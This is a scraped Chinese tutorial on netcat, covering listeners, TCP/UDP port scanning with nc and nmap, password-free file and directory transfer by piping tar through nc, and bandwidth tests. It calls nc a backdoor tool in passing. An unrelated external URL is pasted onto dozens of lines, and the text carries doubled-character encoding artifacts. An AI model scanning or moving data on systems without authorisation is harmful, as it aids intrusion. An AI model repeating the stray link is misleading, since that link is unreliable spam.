???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0




root@ubuntu1804:~# cat /proc/net/bonding/bond1
Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011)
。。。。

6,nc - 網(wǎng)絡(luò)工具箱中的「瑞士軍刀」? ? ? ?

netcat被譽(yù)為網(wǎng)絡(luò)安全界的‘瑞士軍刀’,相信沒有什么人不認(rèn)識(shí)它吧......
一個(gè)簡單而有用的工具,透過使用TCP或UDP協(xié)議的網(wǎng)絡(luò)連接去讀寫數(shù)據(jù)。它被設(shè)計(jì)成一個(gè)穩(wěn)定的后門工具,能夠直接由其它程序和腳本輕松驅(qū)動(dòng)。同時(shí),它也是一個(gè)功能強(qiáng)大的網(wǎng)絡(luò)調(diào)試和探測工具,能夠建立你需要的幾乎所有類型的網(wǎng)絡(luò)連接,還有幾個(gè)很有意思的內(nèi)置功能(詳情請看下面的使用方法)。?

軟件介紹:

工具名:Netcatnc 是 Linux下強(qiáng)大的網(wǎng)絡(luò)命令行工具,主要用于 TCP、UDP、UNIX域套接字 相關(guān)的操作

它被設(shè)計(jì)成可以由其他程序靈活驅(qū)動(dòng)可靠的后臺(tái)工具,擁有 "瑞士軍刀" 的美稱,每個(gè)系統(tǒng)管理員都應(yīng)該掌握它

6.1安裝及用法

#安裝:
[root@ecs-centos-7 ~]# yum install nc
[root@ecs-centos-7 ~]# nc --version
Ncat: Version 7.50 ( https://nmap.org/ncat )


#語法:
nc [-hlnruz][-g<網(wǎng)關(guān)...>][-G<指向器數(shù)目>][-i<延遲秒數(shù)>][-o<輸出文件>][-p<通信端口>][-s<來源位址>][-v...][-w<超時(shí)秒數(shù)>][主機(jī)名稱][通信端口...]


#參數(shù)說明:

-g    <網(wǎng)關(guān)> 設(shè)置路由器躍程通信網(wǎng)關(guān),最多可設(shè)置8個(gè)。
-G    <指向器數(shù)目> 設(shè)置來源路由指向器,其數(shù)值為4的倍數(shù)。
-h     在線幫助。
-i    <延遲秒數(shù)> 設(shè)置時(shí)間間隔,以便傳送信息及掃描通信端口。
-l     使用監(jiān)聽模式,管控傳入的資料。
-n     直接使用IP地址,而不通過域名服務(wù)器。
-o    <輸出文件> 指定文件名稱,把往來傳輸?shù)臄?shù)據(jù)以16進(jìn)制字碼傾倒成該文件保存。
-p    <通信端口> 設(shè)置本地主機(jī)使用的通信端口。
-r     亂數(shù)指定本地與遠(yuǎn)端主機(jī)的通信端口。
-s    <來源位址> 設(shè)置本地主機(jī)送出數(shù)據(jù)包的IP地址。
-u     使用UDP傳輸協(xié)議。
-v     顯示指令執(zhí)行過程。
-w    <超時(shí)秒數(shù)> 設(shè)置等待連線的時(shí)間。
-z     使用0輸入/輸出模式,只在掃描通信端口時(shí)使用。

6.2 使用nc測試網(wǎng)絡(luò)連通性測試和端口掃描

nc可以作為server端啟動(dòng)一個(gè)tcp的監(jiān)聽(注意,此處重點(diǎn)是起tcp,下面還會(huì)講udp)

先關(guān)閉A的防火墻,或者放行下面端口,然后測試B機(jī)器是否可以訪問A機(jī)器啟動(dòng)的端口
在A機(jī)器上啟動(dòng)一個(gè)端口監(jiān)聽,比如 9999端口(注意:下面的-l 是小寫的L,不是數(shù)字1)
默認(rèn)情況下下面監(jiān)聽的是一個(gè)tcp的端口

nc -l 9999
此命令默認(rèn)監(jiān)聽tcp端口

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?6.2.1客戶端測試測試方法1:

在B機(jī)器上telnet? A機(jī)器此端口,如下顯示表示B機(jī)器可以訪問A機(jī)器此端口

telnet 10.0.1.161  9999

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?6.2.2客戶端測試,測試方法2

B機(jī)器上也可以使用nmap掃描A機(jī)器的此端口

nmap 10.0.1.161 -p9999

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?6.2.3?客戶端測試,測試方法3

使用nc命令作為客戶端工具進(jìn)行端口探測

nc -vz -w 2 10.0.1.161 9999
或者
nc -vzw 2 10.0.1.161 9999

(-v可視化,-z掃描時(shí)不發(fā)送數(shù)據(jù),-w超時(shí)幾秒,后面跟數(shù)字)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?6.2.4客戶端測試,測試方法4(和方法3相似,但用處更大)

6.2.4.1 nc可以可以掃描連續(xù)端口,這個(gè)作用非常重要。常??梢杂脕頀呙璺?wù)器端口,然后給服務(wù)器安全加固在A機(jī)器上監(jiān)聽2個(gè)端口,一個(gè)9999,一個(gè)9998,使用&符號(hào)丟入后臺(tái)https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

6.4.2.2 在客戶端B機(jī)器上掃描連續(xù)的兩個(gè)端口,如下https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

6.2.5nc作為server端啟動(dòng)一個(gè)udp的監(jiān)聽(注意,此處重點(diǎn)是起udp)

6.2.5.1?啟動(dòng)一個(gè)udp的端口監(jiān)聽

nc  -ul  9998

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?6.2.5.2復(fù)制當(dāng)前窗口輸入?netstat -antup |grep 9998?可以看到是啟動(dòng)了udp的監(jiān)聽https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

6.2.6?客戶端測試,測試方法1?

由于udp的端口無法在客戶端使用telnet去測試,我們可以使用nc命令去掃描(前面提到nc還可以用來掃描端口)(telnet是運(yùn)行于tcp協(xié)議的)

nc -vuz 10.0.1.161 9998

(u表示udp端口,v表示可視化輸出,z表示掃描時(shí)不發(fā)送數(shù)據(jù))

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?上面在B機(jī)器掃描此端口的時(shí)候,看到A機(jī)器下面出現(xiàn)一串XXXXX字符串https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?6.2.7客戶端測試,測試方法2

(它暫無法測試nc啟動(dòng)的udp端口,每次探測nc作為server端啟動(dòng)的udp端口時(shí),會(huì)導(dǎo)致對方退出偵聽,有這個(gè)bug,對于一些程序啟動(dòng)的udp端口在使用nc掃描時(shí)不會(huì)有此bug)

nmap -sU 10.0.1.161 -p 9998 -Pn

下面,A機(jī)器啟動(dòng)一個(gè)udp的端口監(jiān)聽,端口為9998

在復(fù)制的窗口上可以確認(rèn)已經(jīng)在監(jiān)聽了https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?B機(jī)器使用nmap命令去掃描此udp端口,在掃描過程中,導(dǎo)致A機(jī)器的nc退出監(jiān)聽。所以顯示端口關(guān)閉了(我推測是掃描時(shí)發(fā)數(shù)據(jù)導(dǎo)致的)

nmap -sU 10.0.1.161 -p 9998 -Pn
-sU :表示udp端口的掃描
-Pn :如果服務(wù)器禁PING或者放在防火墻下面的,不加-Pn 參數(shù)的它就會(huì)認(rèn)為這個(gè)掃描的主機(jī)不存活就不會(huì)進(jìn)行掃描了,如果不加-Pn就會(huì)像下面的結(jié)果一樣,它也會(huì)進(jìn)行提示你添加上-Pn參數(shù)嘗試的

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

注意:如果A機(jī)器開啟了防火墻,掃描結(jié)果可能會(huì)是下面狀態(tài)。(不能確定對方是否有監(jiān)聽9998端口)?https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?既然上面測試無法使用nmap掃描nc作為服務(wù)端啟動(dòng)的端口,我們可以使用nmap掃描其余的端口

下面,A機(jī)器上rpcbind服務(wù),監(jiān)聽在udp的111端口https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

在B機(jī)器上使用nmap掃描此端口,是正常的檢測到處于open狀態(tài)?https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?6.2.8客戶端測試,測試方法3

nc掃描大量udp端口

掃描過程比較慢,可能是1秒掃描一個(gè)端口,下面表示掃描A機(jī)器的1到1000端口(暫未發(fā)現(xiàn)可以在一行命令中掃描分散的幾個(gè)端口的方法)

nc -vuz 10.0.1.161 1-1000

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?6.3使用nc傳輸文件和目錄

方法1,傳輸文件演示(先啟動(dòng)接收命令)

使用nc傳輸文件還是比較方便的,因?yàn)椴挥胹cp和rsync那種輸入密碼的操作了

把A機(jī)器上的一個(gè)rpm文件發(fā)送到B機(jī)器上

需注意操作次序,receiver先偵聽端口,sender向receiver所在機(jī)器的該端口發(fā)送數(shù)據(jù)。

#步驟1:
先在B機(jī)器上啟動(dòng)一個(gè)接收文件的監(jiān)聽,格式如下
意思是把賴在9995端口接收到的數(shù)據(jù)都寫到file文件里(這里文件名隨意?。?br> nc -l port >file
nc -l 9995 >zabbix.rpmhttps://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?步驟2,在A機(jī)器上往B機(jī)器的9995端口發(fā)送數(shù)據(jù),把下面rpm包發(fā)送過去

nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpmhttps://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?B機(jī)器接收完畢,它會(huì)自動(dòng)退出監(jiān)聽,文件大小和A機(jī)器一樣,md5值也一樣https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

方法2,傳輸文件演示(先啟動(dòng)發(fā)送命令)

步驟1,先在B機(jī)器上,啟動(dòng)發(fā)送文件命令

下面命令表示通過本地的9992端口發(fā)送test.mv文件

nc -l 9992 <test.mvhttps://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?步驟2,A機(jī)器上連接B機(jī)器,取接收文件

下面命令表示通過連接B機(jī)器的9992端口接收文件,并把文件存到本目錄下,文件名為test2.mv

nc 10.0.1.162 9992 >test2.mvhttps://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

方法3,傳輸目錄演示(方法發(fā)送文件類似)

步驟1,B機(jī)器先啟動(dòng)監(jiān)聽,如下

A機(jī)器給B機(jī)器發(fā)送多個(gè)文件

傳輸目錄需要結(jié)合其它的命令,比如tar

經(jīng)過我的測試管道后面最后必須是 - ,不能是其余自定義的文件名

nc -l 9995 | tar xfvz -https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

步驟2,A機(jī)器打包文件并連接B機(jī)器的端口

管道前面表示把當(dāng)前目錄的所有文件打包為 - ,然后使用nc發(fā)送給B機(jī)器

tar cfz - * | nc 10.0.1.162 9995https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

B機(jī)器這邊已經(jīng)自動(dòng)接收和解壓?https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?6.4使用nc測試網(wǎng)速

測試網(wǎng)速其實(shí)利用了傳輸文件的原理,就是把來自一臺(tái)機(jī)器的/dev/zero 發(fā)送給另一臺(tái)機(jī)器的/dev/null

就是把一臺(tái)機(jī)器的無限個(gè)0,傳輸給另一個(gè)機(jī)器的空設(shè)備上,然后新開一個(gè)窗口使用dstat命令監(jiān)測網(wǎng)速

在這之前需要保證機(jī)器先安裝dstat工具

yum install -y dstat

方法1,測試網(wǎng)速演示(先啟動(dòng)接收命令方式)?

步驟1,A機(jī)器先啟動(dòng)接收數(shù)據(jù)的命令,監(jiān)聽自己的9991端口,把來自這個(gè)端口的數(shù)據(jù)都輸出給空設(shè)備(這樣不寫磁盤,測試網(wǎng)速更準(zhǔn)確)

nc -l 9991 >/dev/nullhttps://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

步驟2,B機(jī)器發(fā)送數(shù)據(jù),把無限個(gè)0發(fā)送給A機(jī)器的9991端口

nc 10.0.1.161 9991 </dev/zerohttps://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

在復(fù)制的窗口上使用dstat命令查看當(dāng)前網(wǎng)速,dstat命令比較直觀,它可以查看當(dāng)前cpu,磁盤,網(wǎng)絡(luò),內(nèi)存頁和系統(tǒng)的一些當(dāng)前狀態(tài)指標(biāo)。

我們只需要看下面我選中的這2列即可,recv是receive的縮寫,表示接收的意思,send是發(fā)送數(shù)據(jù),另外注意數(shù)字后面的單位B,KB,MBhttps://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

可以看到A機(jī)器接收數(shù)據(jù),平均每秒400MB左右https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

B機(jī)器新打開的窗口上執(zhí)行dstat,看到每秒發(fā)送400MB左右的數(shù)據(jù)https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

方法2,測試網(wǎng)速演示(先啟動(dòng)發(fā)送命令方式)

步驟1,先啟動(dòng)發(fā)送的數(shù)據(jù),誰連接這個(gè)端口時(shí)就會(huì)接收來自zero設(shè)備的數(shù)據(jù)(二進(jìn)制的無限個(gè)0)

nc -l 9990 </dev/zerohttps://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

步驟2,下面B機(jī)器連接A機(jī)器的9990端口,把接收的數(shù)據(jù)輸出到空設(shè)備上

nc 10.0.1.161 9990 >/dev/nullhttps://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

同樣可以使用dstat觀察數(shù)據(jù)發(fā)送時(shí)的網(wǎng)速https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)文章來源地址http://www.zghlxwxcb.cn/news/detail-604129.html

到了這里,關(guān)于網(wǎng)絡(luò)協(xié)議和管理的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • TCP/IP協(xié)議、HTTP協(xié)議和FTP協(xié)議等網(wǎng)絡(luò)協(xié)議簡介

    TCP/IP協(xié)議、HTTP協(xié)議和FTP協(xié)議等網(wǎng)絡(luò)協(xié)議簡介

    常見的網(wǎng)絡(luò)協(xié)議主要包括TCP/IP協(xié)議、HTTP協(xié)議、FTP協(xié)議等。 TCP/IP協(xié)議(Transmission Control Protocol/Internet Protocol)是互聯(lián)網(wǎng)最基礎(chǔ)的協(xié)議,由網(wǎng)絡(luò)層的IP協(xié)議和傳輸層的TCP協(xié)議組成。 TCP/IP定義了電子設(shè)備如何連入因特網(wǎng),以及數(shù)據(jù)如何在它們之間傳輸?shù)臉?biāo)準(zhǔn),是Internet國際互聯(lián)網(wǎng)絡(luò)

    2024年04月10日
    瀏覽(37)
  • 7層網(wǎng)絡(luò)協(xié)議和4層網(wǎng)絡(luò)協(xié)議有什么區(qū)別和聯(lián)系?

    層網(wǎng)絡(luò)協(xié)議和4層網(wǎng)絡(luò)協(xié)議是指網(wǎng)絡(luò)通信模型中的不同層次。 網(wǎng)絡(luò)協(xié)議是一種規(guī)則,用于控制網(wǎng)絡(luò)設(shè)備之間的通信。通常,網(wǎng)絡(luò)協(xié)議被劃分為不同的層次,每一層負(fù)責(zé)處理特定的通信任務(wù)。 在網(wǎng)絡(luò)協(xié)議層次模型中,有兩種常見的模型:7層網(wǎng)絡(luò)協(xié)議模型和4層網(wǎng)絡(luò)協(xié)議模型。

    2023年04月09日
    瀏覽(22)
  • 網(wǎng)絡(luò)編程——TCP/IP協(xié)議族(IP協(xié)議、TCP協(xié)議和UDP協(xié)議……)

    1、IP協(xié)議簡介 IP協(xié)議又稱 網(wǎng)際協(xié)議 特指為實(shí)現(xiàn)在一個(gè)相互連接的網(wǎng)絡(luò)系統(tǒng)上從源地址到目的地傳輸數(shù)據(jù)包(互聯(lián)網(wǎng)數(shù)據(jù)包)所提供必要功能的協(xié)議,是網(wǎng)絡(luò)層中的協(xié)議。 2、特點(diǎn) 不可靠 :它不能保證IP數(shù)據(jù)包能成功地到達(dá)它的目的地,僅提供盡力而為的傳輸服務(wù) 無連接 :IP 并不

    2024年02月13日
    瀏覽(113)
  • 【計(jì)算機(jī)網(wǎng)絡(luò)實(shí)驗(yàn)】靜態(tài)路由協(xié)議和RIP協(xié)議仿真實(shí)驗(yàn)

    【計(jì)算機(jī)網(wǎng)絡(luò)實(shí)驗(yàn)】靜態(tài)路由協(xié)議和RIP協(xié)議仿真實(shí)驗(yàn)

    實(shí)驗(yàn)內(nèi)容 靜態(tài) 路由 協(xié)議和 RIP 協(xié)議仿真 實(shí)驗(yàn) 實(shí)驗(yàn)?zāi)康?1 路由器及路由協(xié)議基礎(chǔ)知識(shí) 2 靜態(tài)路由配置實(shí)驗(yàn) (1)掌握靜態(tài)路由和RIP的配置方法; (2)掌握通過靜態(tài)路由和RIP方式實(shí)現(xiàn)網(wǎng)絡(luò)的連通性; (3)熟悉廣域網(wǎng)線纜的連接方式。 實(shí)驗(yàn)要求 該實(shí)驗(yàn)拓?fù)涞膶?shí)例背景是:某公

    2024年02月07日
    瀏覽(30)
  • 網(wǎng)絡(luò)協(xié)議和管理

    網(wǎng)絡(luò)協(xié)議和管理

    目錄 1 網(wǎng)絡(luò)基礎(chǔ) 1.1 網(wǎng)絡(luò)概念 1.2 常見的網(wǎng)絡(luò)物理組件 1.3 網(wǎng)絡(luò)應(yīng)用程序 1.3.1 各種網(wǎng)絡(luò)應(yīng)用? 1.3.2 應(yīng)用程序?qū)W(wǎng)絡(luò)的要求 1.4 網(wǎng)絡(luò)的特征 1.4.1 網(wǎng)絡(luò)拓?fù)?1.5 網(wǎng)絡(luò)標(biāo)準(zhǔn) 1.5.1 網(wǎng)絡(luò)標(biāo)準(zhǔn)和分層 1.5.2 開放系統(tǒng)互聯(lián) OSI 1.5.3 網(wǎng)絡(luò)的通信過程 協(xié)議數(shù)據(jù)單元 PDU 2 局域網(wǎng) Local Area Network 2.1 概述

    2024年02月16日
    瀏覽(20)
  • Linux云計(jì)算之網(wǎng)絡(luò)基礎(chǔ)4——ICMP協(xié)議和ARP協(xié)議

    Linux云計(jì)算之網(wǎng)絡(luò)基礎(chǔ)4——ICMP協(xié)議和ARP協(xié)議

    目錄 一、ICMP協(xié)議 ICMP報(bào)文被封裝在IP數(shù)據(jù)報(bào)中發(fā)送 ICMP報(bào)文的種類 ICMP差錯(cuò)報(bào)告報(bào)文 ICMP詢問報(bào)文 ICMP的典型應(yīng)用 1.分組網(wǎng)間探測PING: 2.跟蹤路由traceroute: ICMP報(bào)文結(jié)果統(tǒng)計(jì) ping命令的使用 二、ARP地址解析協(xié)議 ARP:地址解析協(xié)議 ARP緩存表? ? ARP報(bào)文 ARP攻擊與欺騙 ARP攻擊 如何

    2024年04月14日
    瀏覽(36)
  • 【網(wǎng)絡(luò)層+數(shù)據(jù)鏈路層】深入理解IP協(xié)議和MAC幀協(xié)議的基本原理

    【網(wǎng)絡(luò)層+數(shù)據(jù)鏈路層】深入理解IP協(xié)議和MAC幀協(xié)議的基本原理

    文章目錄 前言 一、IP協(xié)議 二、MAC幀協(xié)議 1.以太網(wǎng) 2.以太網(wǎng)幀(MAC幀)格式報(bào)頭 3.基于協(xié)議講解局域網(wǎng)轉(zhuǎn)發(fā)的原理 總結(jié) 為什么經(jīng)常將TCP/IP放在一起呢?這是因?yàn)镮P層的核心工作就是通過IP地址來定位主機(jī)的,具有將一個(gè)數(shù)據(jù)報(bào)從A主機(jī)跨網(wǎng)絡(luò)發(fā)送到B主機(jī)的能力,而TCP所提供的策

    2024年02月13日
    瀏覽(26)
  • 系分筆記計(jì)算機(jī)網(wǎng)絡(luò)OSI七層模型概念、協(xié)議和作用以及TCP/IP協(xié)議

    系分筆記計(jì)算機(jī)網(wǎng)絡(luò)OSI七層模型概念、協(xié)議和作用以及TCP/IP協(xié)議

    ??計(jì)算機(jī)網(wǎng)路是系統(tǒng)分析師考試的??贾R(shí)點(diǎn),本篇主要記錄了知識(shí)點(diǎn):OSI七層模型概念、協(xié)議和作用以及TCP/IP協(xié)議中比較重要的考點(diǎn)。 ??計(jì)算機(jī)網(wǎng)絡(luò)的OSI七層模型從底層往上,分別是物理層、數(shù)據(jù)鏈路層、網(wǎng)絡(luò)層、傳輸層、會(huì)話層、表示層和應(yīng)用層。 ??計(jì)算機(jī)網(wǎng)絡(luò)

    2024年01月16日
    瀏覽(36)
  • Raid工作原理、LVM磁盤、YUM倉庫、網(wǎng)絡(luò)協(xié)議和管理

    Raid工作原理、LVM磁盤、YUM倉庫、網(wǎng)絡(luò)協(xié)議和管理

    ?(1)獨(dú)立硬盤冗余陣列,舊稱廉價(jià)磁盤冗余陣列,簡稱磁盤陣列。利用虛擬化存儲(chǔ)技術(shù)把多個(gè)硬盤組合起來,成為一個(gè)或多個(gè)硬盤陣列組,目的為提升性能或數(shù)據(jù)冗余,或是兩者同時(shí)提升。 ? ?RAID-0 ? ?RAID-1 ? ? RAID-5 RAID-10 RAID-01 利用率 ? ? ?100% ? ? ? 50% ? ? ? 75% ? ?

    2024年04月26日
    瀏覽(20)
  • 【lwip】13-TCP協(xié)議分析之源碼篇鏈接:[https://www.cnblogs.com/lizhuming/p/17438682.html](https://www.cnblogs.com/lizhuming/p/17438682.html)

    TCP源碼篇,當(dāng)前只分析TCP層的源碼實(shí)現(xiàn),按功能分塊分析,接口為RAW接口。 NETCONN接口和SOCKET接口會(huì)獨(dú)立一篇文章進(jìn)行分析。 本文基于讀者已學(xué)習(xí)了TCP協(xié)議原理篇的基礎(chǔ)上進(jìn)行源碼分析,不再在此篇文章中過多解析TCP相關(guān)概念。 ? 建議讀者對著LWIP庫源碼進(jìn)行閱讀。對于初學(xué)

    2024年02月06日
    瀏覽(31)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包